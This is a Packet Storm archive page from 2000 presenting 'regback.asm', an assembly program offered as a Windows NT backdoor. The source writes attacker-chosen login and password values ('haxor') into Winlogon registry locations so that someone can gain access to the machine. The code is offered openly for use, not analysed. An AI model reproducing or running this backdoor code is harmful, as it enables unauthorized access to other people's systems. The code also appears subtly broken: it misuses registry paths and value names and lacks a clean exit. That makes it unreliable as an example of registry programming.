never stop questioning

regback.asm

regback.asm
Posted Apr 23, 2000
Authored by Freddy Laplaine | Site asmbeginer.com

regback.asm is a backdoor for NT written in pure asm.

MD5 | 4ddb1703b127da9916bc98d1c7f287a2

regback.asm

Change Mirror Download
;tasm32 -ml regback.asm
;tasm32 -Tpe -x -c regback.obj ,,, import32
;write by asmbeginer.com
;www.asmbeginer.com/backdoor/

.386p
locals
jumps
.model flat, stdcall

extrn GetStdHandle:PROC
extrn WriteConsoleA:PROC
extrn ExitProcess:PROC
extrn RegSetValueExA:PROC
extrn RegCreateKeyExA : Proc
extrn RegCloseKey : Proc

.data

logo db "-------------------- R.E.G.B.A.C.K
---------------------------------", 13, 10
db "Write by: ASMBEGINER.COM, why? just for fun and because i have
no job ", 13, 10
db
"----------------------------------------------------------------------",
13, 10, 0
logolen equ $-logo


account db "Account ok !",13,13
accountlen equ $-account


console_in dd ?
console_out dd ?
bytes_read dd ?


hKey dd 80000002h
lpSubKey db
'\SOFTWARE\Microsoft\Windows\CurrentVersion\Winlogon\DefaultUserName', 0
lpSubKey2 db
'\SOFTWARE\Microsoft\Windows\CurrentVersion\Winlogon\DefaultPassword', 0

cbData dd 05h
lpData db '01010101',0
lpValueName db 'haxor', 0 ; login
lpValueName2 db 'haxor', 0 ; password
phkResult dd 0
lpdwDisposition dd 0
.code

start:

call init_console
push logolen
push offset logo
call write_console

call init_console
push accountlen
push offset account
call write_console

; write login
push offset lpdwDisposition
push offset phkResult
push 0
push 1F0000h + 1 + 2h
push 0
push 0
push 0
push offset lpSubKey
push hKey
call RegCreateKeyExA

push cbData
push offset lpData
push 01h
push 0
push offset lpValueName
push phkResult
call RegSetValueExA


; write password
push offset lpdwDisposition
push offset phkResult
push 0
push 1F0000h + 1 + 2h
push 0
push 0
push 0
push offset lpSubKey2
push hKey
call RegCreateKeyExA


push cbData
push offset lpData
push 01h
push 0
push offset lpValueName2
push phkResult
call RegSetValueExA

push 0
call RegCloseKey
endp


init_console proc
push -10
call GetStdHandle
or eax, eax
je init_error
mov [console_in], eax
push -11
call GetStdHandle
or eax, eax
je init_error
mov [console_out], eax
ret
init_error:
push 0
call ExitProcess
endp

write_console proc text_out:dword, text_len:dword
pusha
push 0
push offset bytes_read
push text_len
push text_out
push console_out
call WriteConsoleA
popa
ret
endp

end start

Comments

RSS Feed Subscribe to this comment feed

No comments yet, be the first!

Login or Register to post a comment

File Archive:

May 2012

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    May 1st
    37 Files
  • 2
    May 2nd
    53 Files
  • 3
    May 3rd
    33 Files
  • 4
    May 4th
    4 Files
  • 5
    May 5th
    10 Files
  • 6
    May 6th
    17 Files
  • 7
    May 7th
    19 Files
  • 8
    May 8th
    36 Files
  • 9
    May 9th
    34 Files
  • 10
    May 10th
    35 Files
  • 11
    May 11th
    20 Files
  • 12
    May 12th
    18 Files
  • 13
    May 13th
    11 Files
  • 14
    May 14th
    27 Files
  • 15
    May 15th
    58 Files
  • 16
    May 16th
    54 Files
  • 17
    May 17th
    25 Files
  • 18
    May 18th
    53 Files
  • 19
    May 19th
    9 Files
  • 20
    May 20th
    15 Files
  • 21
    May 21st
    25 Files
  • 22
    May 22nd
    32 Files
  • 23
    May 23rd
    35 Files
  • 24
    May 24th
    26 Files
  • 25
    May 25th
    25 Files
  • 26
    May 26th
    0 Files
  • 27
    May 27th
    0 Files
  • 28
    May 28th
    0 Files
  • 29
    May 29th
    0 Files
  • 30
    May 30th
    0 Files
  • 31
    May 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2012 Packet Storm. All rights reserved.

close